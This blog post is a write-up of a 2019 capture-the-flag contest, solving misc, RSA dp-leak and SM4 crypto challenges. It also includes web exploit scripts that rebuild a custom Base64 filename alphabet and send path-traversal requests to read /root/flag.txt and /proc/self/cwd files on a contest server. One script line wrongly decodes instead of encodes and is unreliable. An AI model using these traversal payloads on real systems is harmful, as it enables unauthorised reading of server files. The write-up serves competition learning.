网络与信息安全专项赛复盘

作者: 蓝小俊 | 来源:发表于2019-08-24 15:57 被阅读0次

比赛时间：8月15日9:30-8月15日19:00
比赛网站：https://race.ichunqiu.com/nisc2019

MISC

签到题

题目描述
解题步骤
dig 命令主要用来从 DNS 域名服务器查询主机地址信息。
dig txt gamectf.com
gamectf.com. 600 IN TXT "flag{welcome_TXT}"

七代目

题目描述

解题步骤

修复文件头GIF8

查看每一帧的时间：

序号为6的帧只有1，保存下来切换一下通道：

亚萨西

题目描述

解题步骤

下载winrar打开提示是损坏的zip⽂件

使用7zip或者bandlize打开压缩包提示需要输入密码

winhex打开，发现可疑密码字符

得到密码是loli，解压得到图片

winhex打开发现有0ok！编码，在线解码得到flag

24word

题目描述

解题步骤

解压得到图片，进行社会主义核心价值观解码得到：CodeValues

binwalk看下图片发现压缩包，修改后缀为zip，密码CodeValues解码得到图片

扫描二维码得到flag

Crypto

dp

题目描述

解题步骤

import gmpy2
import libnum
e = 65537
n = 9637571466652899741848142654451413405801976834328667418509217149503238513830870985353918314633160277580591819016181785300521866901536670666234046521697590230079161867282389124998093526637796571100147052430445089605759722456767679930869250538932528092292071024877213105462554819256136145385237821098127348787416199401770954567019811050508888349297579329222552491826770225583983899834347983888473219771888063393354348613119521862989609112706536794212028369088219375364362615622092005578099889045473175051574207130932430162265994221914833343534531743589037146933738549770365029230545884239551015472122598634133661853901
dp = 81339405704902517676022188908547543689627829453799865550091494842725439570571310071337729038516525539158092247771184675844795891671744082925462138427070614848951224652874430072917346702280925974595608822751382808802457160317381440319175601623719969138918927272712366710634393379149593082774688540571485214097
c = 5971372776574706905158546698157178098706187597204981662036310534369575915776950962893790809274833462545672702278129839887482283641996814437707885716134279091994238891294614019371247451378504745748882207694219990495603397913371579808848136183106703158532870472345648247817132700604598385677497138485776569096958910782582696229046024695529762572289705021673895852985396416704278321332667281973074372362761992335826576550161390158761314769544548809326036026461123102509831887999493584436939086255411387879202594399181211724444617225689922628790388129032022982596393215038044861544602046137258904612792518629229736324827

def n2s(n):
    """
    Number to string.
    """
    s = hex(n)[2:]
    if len(s) % 2 != 0:
        s = "0" + s
    return str(s.decode('hex'))

for i in range(1,65538):
    if (dp*e-1)%i == 0:
        if n%(((dp*e-1)/i)+1)==0:
            p=((dp*e-1)/i)+1
            q=n/(((dp*e-1)/i)+1)
            phi = (p-1)*(q-1)
            d = gmpy2.invert(e,phi)%phi
            print n2s(pow(c,d,n))

参考资料
https://zhuanlan.zhihu.com/p/43033684

解题步骤

sm4

题目描述

解题步骤
ECB模式 sm4解密库: https://github.com/yang3yen/pysm4

# -*- coding: utf-8 -*-
from pysm4 import encrypt, decrypt
import binascii

def dec_hex(str1):
    a = str(hex(str1))
    b = a.replace("0x", '')
    return b.zfill(2)

def hex_str(dic):
    hexstr = "0x"
    for i in dic:
        hexstr = hexstr + dec_hex(i)
    return hexstr


if __name__ == '__main__':
    key = [13, 204, 99, 177, 254, 41, 198, 163, 201, 226, 56, 214, 192, 194, 98, 104]
    c1 = [46, 48, 220, 156, 184, 218, 57, 13, 246, 91, 1, 63, 60, 67, 105, 64]
    c2 = [149, 240, 217, 77, 107, 49, 222, 61, 155, 225, 231, 196, 167, 121, 9, 16]
    c3 = [60, 182, 65, 101, 39, 253, 250, 224, 9, 204, 154, 122, 206, 43, 97, 59]
    keyStr = hex_str(key)
    c1_str = hex_str(c1)
    c2_str = hex_str(c2)
    c3_str = hex_str(c3)
    # print hex(decrypt(0x2e30dc9cb8da390df65b013f3c436940,0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1]
    # print hex(decrypt(0x95f0d94d6b31de3d9be1e7c4a7790910, 0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1]
    # print hex(decrypt(0x3cb6416527fdfae009cc9a7ace2b613b, 0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1]
    c_str = hex(decrypt(0x2e30dc9cb8da390df65b013f3c436940,0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1] + hex(decrypt(0x95f0d94d6b31de3d9be1e7c4a7790910, 0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1] + hex(decrypt(0x3cb6416527fdfae009cc9a7ace2b613b, 0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1]
    print c_str
    print binascii.a2b_hex(c_str)

## SM4:  flag{1caa96be-4266-4a8e-bd2c-ece977495497}

WEB

from urllib.parse import unquote,quote

import requests
import base64
import re
import string
import random

s = requests.sessions()
url = "http://127.0.0.1:8999"
new_dict = {}

def get_b_name():
    test_name = ''.join(random.sample(string.ascii_letters + string.digits,50))
    #  join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串
    #  random.sample(seq, n) 从序列seq中选择n个随机且独立的元素
    #  string模块ascii_letters和digits方法，其中ascii_letters是生成所有字母，从a-z和A-Z,digits是生成所有数字0-9
    #  最后生成的字符串是从"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"随机截取50个元素
    o_file_name = test_name + '.jpg'
    origin = base64.b64encode(str.encode(o_file_name))
    origin = bytes.decode(origin)
    # bytes.decode() 方法以指定的编码格式解码 bytes 对象。默认编码为 'utf-8'
    upload_url = url + "/upload.php"
    with open('test.jpg','rb') as file:
        files = {'file':(o_file_name,file)}
        requese = requests.post(upload_url,files=files)
        text = requese.text
        file_name = re.search(r'"img.php\?name=(.+?)"',text).group(1)
        file_name = unquote(file_name)
    return origin,file_name

def make_dict(origin,file_name):
    num = 0
    for i in origin:
        # print(i,file_name[num])
        new_dict[i] = file_name[num]
        num += 1

if __name__ == '__main__':
    length = len(new_dict)
    for i in  range(15):
        origin, file_name = get_b_name()
        make_dict(origin, file_name)
        length = len(new_dict)
    res = []
    flag = bytes.decode(base64.b64decode(b'../../../../../root/flag.txt'))
    for f in flag:
        if f == '=':
            res.append('=')
        else:
            res.append(new_dict[f])
        payload = ''.join(res)
        print(quote(payload))

import string
import requests as req
import base64
import urllib
·
z = {'0': 'Y', '2': 'P', '4': 'y', '6': 'e', '8': 'v', 'B': 'z', 'D': 'N', 'F': 't', 'H': 'x', 'J': 'U', 'L': 'X', 'N': 'F', 'P': 'V', 'R': 'q', 'T': 'a', 'V': 'l', 'X': 'm', 'Z': 'S', 'b': '4', 'd': 'B', 'f': 'h', 'h': '5', 'j': 'c', 'l': 'M', 'n': '9', 'p': 'w', 'r': '1', 't': '8', 'v': 'o', 'x': 'i', 'z': 'K',
     '+': 'u', '/': 'A', '1': '0', '3': 'C', '5': 'T', '7': 'I', '9': 'k', 'A': 'b', 'C': 'J', 'G': '7', 'I': 'f', 'K': '6', 'M': 'Z', 'O': '2', 'Q': '+', 'S': 'd', 'U': '3', 'W': 'R', 'Y': 'W', 'a': 'L', 'c': 'r', 'e': 'g', 'g': 'n', 'i': 'E', 'k': 'j', 'm': 'G', 'o': 'H', 'q': 'Q', 's': 'p', 'u': 's', 'w': 'O', 'y': 'D', 'E': '\\'}

b64table = string.maketrans(
    ''.join(z.keys()), ''.join([z[k] for k in z.keys()]))


b64table2 = string.maketrans(
    ''.join([z[k] for k in z.keys()]), ''.join(z.keys()))
URL = 'http://3fc6a707471d4c83959773ac33db4ec348f07f0fa23e4e15.changame.ichunqiu.com/img.php?name={}'

def get(pl):
    pl = base64.b64encode(pl)
    print "[+] Normal Base64 :", pl
    pl = pl.translate(b64table2)
    # translate() 方法根据参数table给出的表(包含 256 个字符)转换字符串的字符, 要过滤掉的字符放到 del 参数中
    print "[+] Encode Base64 :", pl
    pl = urllib.quote(pl)
    res = req.get(URL.format(pl))
    print(res.content)

def test(pl):
    pl = pl.translate(b64table)
    pl = base64.b64decode(pl)
    print pl

if __name__ == '__main__':
    get("../../../../../../proc/self/cwd/templates/upload.html")
    get("../../../../../../root/flag.txt")

参考资料：爆破非默认Base64编码表

爆破Base64总结：把\x00\x10\x83\x10\x51\x87\x20\x92\x8B\x30\xD3\x8F\x41\x14\x93\x51\x55\x97\x61\x96\x9B\x71\xD7\x9F\x82\x18\xA3\x92\x59\xA7\xA2\x9A\xAB\xB2\xDB\xAF\xC3\x1C\xB3\xD3\x5D\xB7\xE3\x9E\xBB\xF3\xDF\xBF这个作为输入，输出就是base64table

网友评论

本文标题：网络与信息安全专项赛复盘

本文链接：https://www.haomeiwen.com/subject/rkeysctx.html

延伸阅读

深度阅读

您也可以注册成为美文阅读网的作者，发表您的原创作品、分享您的心情！